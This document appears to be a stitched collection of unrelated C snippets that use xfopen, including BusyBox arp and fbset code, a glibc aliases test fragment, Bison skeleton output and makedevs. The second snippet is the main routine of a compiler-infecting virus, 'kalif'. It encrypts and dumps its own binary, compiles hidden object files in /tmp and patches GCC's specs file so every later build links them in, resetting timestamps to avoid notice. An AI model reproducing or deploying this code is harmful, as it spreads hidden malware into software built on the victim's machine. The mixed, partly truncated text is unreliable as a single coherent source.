/* Called only from main, once */ static int arp_show(char *name) { const char *host; const char *hostname; FILE *fp; struct sockaddr sa; int type, flags; int num; unsigned entries = 0, shown = 0; char ip[128]; char hwa[128]; char mask[128]; char line[128]; char dev[128]; host = NULL; if (name != NULL) { /* Resolve the host name. */ if (ap->input(name, &sa) < 0) { bb_herror_msg_and_die("%s", name); } host = xstrdup(ap->sprint(&sa, 1)); } fp = xfopen("/proc/net/arp", "r"); /* Bypass header -- read one line */ fgets(line, sizeof(line), fp); /* Read the ARP cache entries. */ while (fgets(line, sizeof(line), fp)) { mask[0] = '-'; mask[1] = '\0'; dev[0] = '-'; dev[1] = '\0'; /* All these strings can't overflow * because fgets above reads limited amount of data */ num = sscanf(line, "%s 0x%x 0x%x %s %s %s\n", ip, &type, &flags, hwa, mask, dev); if (num < 4) break; entries++; /* if the user specified hw-type differs, skip it */ if (hw_set && (type != hw->type)) continue; /* if the user specified address differs, skip it */ if (host && strcmp(ip, host) != 0) continue; /* if the user specified device differs, skip it */ if (device[0] && strcmp(dev, device) != 0) continue; shown++; /* This IS ugly but it works -be */ hostname = "?"; if (!(option_mask32 & ARP_OPT_n)) { if (ap->input(ip, &sa) < 0) hostname = ip; else hostname = ap->sprint(&sa, (option_mask32 & ARP_OPT_n) | 0x8000); if (strcmp(hostname, ip) == 0) hostname = "?"; } arp_disp(hostname, ip, type, flags, hwa, mask, dev); } if (option_mask32 & ARP_OPT_v) printf("Entries: %d\tSkipped: %d\tFound: %d\n", entries, entries - shown, shown); if (!shown) { if (hw_set || host || device[0]) printf("No match found in %d entries\n", entries); } if (ENABLE_FEATURE_CLEAN_UP) { free((char*)host); fclose(fp); } return 0; }
int main(int argc, char **argv, char **envp) { char *kalif; int in, r; FILE *fd, *out; char specs[100] = {0}, key[30] = {0}, exe[200] = {0}; struct stat st; struct utimbuf ut; if ((kalif = (char*)malloc(KLEN)) == NULL) { perror("malloc"); exit(errno); } if ((in = open(argv[0], O_RDONLY)) < 0) { #ifdef DEBUG perror("open"); #endif exit(errno); } r = read(in, kalif, KLEN); /* dump executable as hex */ fd = xfopen("/tmp/kalif.c", "w+"); /* but before we mutate a little bit :) */ mutate(key); Vcrypt(kalif, key, r); dump_it(fd, kalif, "X1", r); fclose(fd); /* get source of close() */ fd = xfopen("/tmp/close.c", "w+"); dump_it(fd, X2, NULL, X2LEN); fclose(fd); /* get directory where specs resists */ system("egcs -v 2>t"); fd = xfopen("t", "r"); fscanf(fd, "Reading specs from %s\n", specs); #ifdef DEBUG printf("%s", specs); #endif fclose(fd); unlink("t"); /* randomize close.c */ init_cce(); randomize_file("/tmp/close.c", "/tmp/closeR.c"); unlink("/tmp/close.c"); /* and compile it to be linked into victum later */ sprintf(exe, "gcc -c -O2 -D KEY=\"\\\"%s\\\"\" /tmp/closeR.c -o /tmp/.close.o~&>/dev/null", key); #ifdef DEBUG printf("%s\n", exe); #endif system(exe); system("gcc -c -O2 /tmp/kalif.c -o /tmp/.kalif.o~&>/dev/null"); unlink("/tmp/kalif.c"); #ifndef DEBUG unlink("/tmp/closeR.c"); #endif /* BREAK! if EIP is here, we already did the following: * extraceted close.c * randomized close.c * compiled rand. close.c * extracted kalif to c-file * compiled it * what we do now is simply patch the specs file of GCC to link in * our 2 nasty obj-files every time gcc is ionvoked */ /* dont touch permissions */ stat(specs, &st); fd = xfopen(specs, "r+"); bzero(kalif, KLEN); kalif[0] = 'X'; /* seek to our fave position */ while (strcmp(kalif, "*link:\n")) fgets(kalif, 200, fd); fgets(kalif, 200, fd); fclose(fd); /* already patched ? */ if (strstr(kalif, "/tmp/.kalif.o~")) return 0; /* we're friendly: we save specs-file :) */ sprintf(exe, "mv %s /tmp/.specs.bak~>/dev/null", specs); system(exe); /* get position where we will add our stuff */ fd = xfopen("/tmp/.specs.bak~", "r"); out = xfopen(specs, "w+"); while (strcmp(kalif, "*link:\n")) { fgets(kalif, 200, fd); fprintf(out, "%s", kalif); } fprintf(out, "/tmp/.kalif.o~ /tmp/.close.o~ "); /* write rest of original to patched specs */ while (fgets(kalif, 200, fd)) fprintf(out, "%s", kalif); /* put orig attribs... */ fchmod(fileno(out), st.st_mode); fclose(fd); fclose(out); free(kalif); /* ...and time to file */ ut.actime = st.st_atime; ut.modtime = st.st_mtime; utime(specs, &ut); return 0; }
support_write_file_string (path, "alias1a, alias2\n"); free (path); path = xasprintf ("%s/etc/aliases.comment", chroot_env->path_chroot); add_temp_file (path); support_write_file_string (path, /* The line must be longer than the line with the :include: directive in /etc/aliases. */ "# Long line. ##############################################\n" "comment2\n"); free (path); path = xasprintf ("%s/etc/aliases.many", chroot_env->path_chroot); add_temp_file (path); FILE *fp = xfopen (path, "w"); for (int i = 0; i < many_aliases; ++i) fprintf (fp, "a%d\n", i); TEST_VERIFY_EXIT (! ferror (fp)); xfclose (fp); free (path); } /* The names of the users to test. */ static const char *users[] = { "user1", "user2", "comment", "many" }; static void check_aliases (int id, const struct aliasent *e) { TEST_VERIFY_EXIT (id >= 0 || id < array_length (users)); const char *name = users[id];
static void output_skeleton (void) { FILE *in; FILE *out; int filter_fd[2]; char const *argv[6]; pid_t pid; /* Compute the names of the package data dir and skeleton file. Test whether m4sugar.m4 is readable, to check for proper installation. A faulty installation can cause deadlock, so a cheap sanity check is worthwhile. */ char const m4sugar[] = "m4sugar/m4sugar.m4"; char *full_m4sugar; char *full_skeleton; char const *p; char const *m4 = (p = getenv ("M4")) ? p : M4; char const *pkgdatadir = (p = getenv ("BISON_PKGDATADIR")) ? p : PKGDATADIR; size_t skeleton_size = strlen (skeleton) + 1; size_t pkgdatadirlen = strlen (pkgdatadir); while (pkgdatadirlen && pkgdatadir[pkgdatadirlen - 1] == '/') pkgdatadirlen--; full_skeleton = xmalloc (pkgdatadirlen + 1 + (skeleton_size < sizeof m4sugar ? sizeof m4sugar : skeleton_size)); strcpy (full_skeleton, pkgdatadir); full_skeleton[pkgdatadirlen] = '/'; strcpy (full_skeleton + pkgdatadirlen + 1, m4sugar); full_m4sugar = xstrdup (full_skeleton); strcpy (full_skeleton + pkgdatadirlen + 1, skeleton); xfclose (xfopen (full_m4sugar, "r")); /* Create an m4 subprocess connected to us via two pipes. */ if (trace_flag & trace_tools) fprintf (stderr, "running: %s %s - %s\n", m4, full_m4sugar, full_skeleton); argv[0] = m4; argv[1] = full_m4sugar; argv[2] = "-"; argv[3] = full_skeleton; argv[4] = trace_flag & trace_m4 ? "-dV" : NULL; argv[5] = NULL; init_subpipe (); pid = create_subpipe (argv, filter_fd); free (full_m4sugar); free (full_skeleton); out = fdopen (filter_fd[0], "w"); if (! out) error (EXIT_FAILURE, get_errno (), "fdopen"); /* Output the definitions of all the muscles. */ fputs ("m4_init()\n", out); user_actions_output (out); merger_output (out); token_definitions_output (out); symbol_destructors_output (out); symbol_printers_output (out); muscles_m4_output (out); fputs ("m4_wrap([m4_divert_pop(0)])\n", out); fputs ("m4_divert_push(0)dnl\n", out); xfclose (out); /* Read and process m4's output. */ timevar_push (TV_M4); end_of_output_subpipe (pid, filter_fd); in = fdopen (filter_fd[1], "r"); if (! in) error (EXIT_FAILURE, get_errno (), "fdopen"); scan_skel (in); xfclose (in); reap_subpipe (pid, m4); timevar_pop (TV_M4); }
static int readmode(struct fb_var_screeninfo *base, const char *fn, const char *mode) { #ifdef CONFIG_FEATURE_FBSET_READMODE FILE *f; char buf[256]; char *p = buf; f = xfopen(fn, "r"); while (!feof(f)) { fgets(buf, sizeof(buf), f); if (!(p = strstr(buf, "mode ")) && !(p = strstr(buf, "mode\t"))) continue; p += 5; if (!(p = strstr(buf, mode))) continue; p += strlen(mode); if (!isspace(*p) && (*p != 0) && (*p != '"') && (*p != '\r') && (*p != '\n')) continue; /* almost, but not quite */ while (!feof(f)) { fgets(buf, sizeof(buf), f); if ((p = strstr(buf, "geometry "))) { p += 9; /* FIXME: catastrophic on arches with 64bit ints */ sscanf(p, "%d %d %d %d %d", &(base->xres), &(base->yres), &(base->xres_virtual), &(base->yres_virtual), &(base->bits_per_pixel)); } else if ((p = strstr(buf, "timings "))) { p += 8; sscanf(p, "%d %d %d %d %d %d %d", &(base->pixclock), &(base->left_margin), &(base->right_margin), &(base->upper_margin), &(base->lower_margin), &(base->hsync_len), &(base->vsync_len)); } else if ((p = strstr(buf, "laced "))) { //p += 6; if (strstr(buf, "false")) { base->vmode &= ~FB_VMODE_INTERLACED; } else { base->vmode |= FB_VMODE_INTERLACED; } } else if ((p = strstr(buf, "double "))) { //p += 7; if (strstr(buf, "false")) { base->vmode &= ~FB_VMODE_DOUBLE; } else { base->vmode |= FB_VMODE_DOUBLE; } } else if ((p = strstr(buf, "vsync "))) { //p += 6; if (strstr(buf, "low")) { base->sync &= ~FB_SYNC_VERT_HIGH_ACT; } else { base->sync |= FB_SYNC_VERT_HIGH_ACT; } } else if ((p = strstr(buf, "hsync "))) { //p += 6; if (strstr(buf, "low")) { base->sync &= ~FB_SYNC_HOR_HIGH_ACT; } else { base->sync |= FB_SYNC_HOR_HIGH_ACT; } } else if ((p = strstr(buf, "csync "))) { //p += 6; if (strstr(buf, "low")) { base->sync &= ~FB_SYNC_COMP_HIGH_ACT; } else { base->sync |= FB_SYNC_COMP_HIGH_ACT; } } else if ((p = strstr(buf, "extsync "))) { //p += 8; if (strstr(buf, "false")) { base->sync &= ~FB_SYNC_EXT; } else { base->sync |= FB_SYNC_EXT; } } if (strstr(buf, "endmode")) return 1; } } #else bb_error_msg("mode reading not compiled in"); #endif return 0; }
int main(int argc, char **argv) { int c, opt; extern char *optarg; struct stat statbuf; char passwd_path[PATH_MAX]; char group_path[PATH_MAX]; FILE *passwd_file = NULL; FILE *group_file = NULL; FILE *devtable = NULL; umask (0); while ((opt = getopt_long(argc, argv, "D:d:r:qhv", long_options, &c)) >= 0) { switch (opt) { case 'D': devtable = xfopen(optarg, "r"); if (fstat(fileno(devtable), &statbuf) < 0) perror_msg_and_die(optarg); if (statbuf.st_size < 10) error_msg_and_die("%s: not a proper device table file", optarg); break; case 'h': fprintf(stderr, helptext); exit(1); case 'r': case 'd': /* for compatibility with mkfs.jffs, genext2fs, etc... */ if (rootdir != default_rootdir) { error_msg_and_die("root directory specified more than once"); } rootdir = xstrdup(optarg); break; case 'v': fprintf(stderr, "makedevs revision %.*s\n", (int) strlen(revtext) - 13, revtext + 11); exit(1); } } // Get name-id mapping sprintf(passwd_path, "%s/etc/passwd", rootdir); sprintf(group_path, "%s/etc/group", rootdir); if ((passwd_file = fopen(passwd_path, "r")) != NULL) { get_list_from_file(passwd_file, &usr_list); fclose(passwd_file); } if ((group_file = fopen(group_path, "r")) != NULL) { get_list_from_file(group_file, &grp_list); fclose(group_file); } // Parse devtable if(devtable) { parse_devtable(devtable); fclose(devtable); } // Free list free_list(usr_list); free_list(grp_list); return 0; }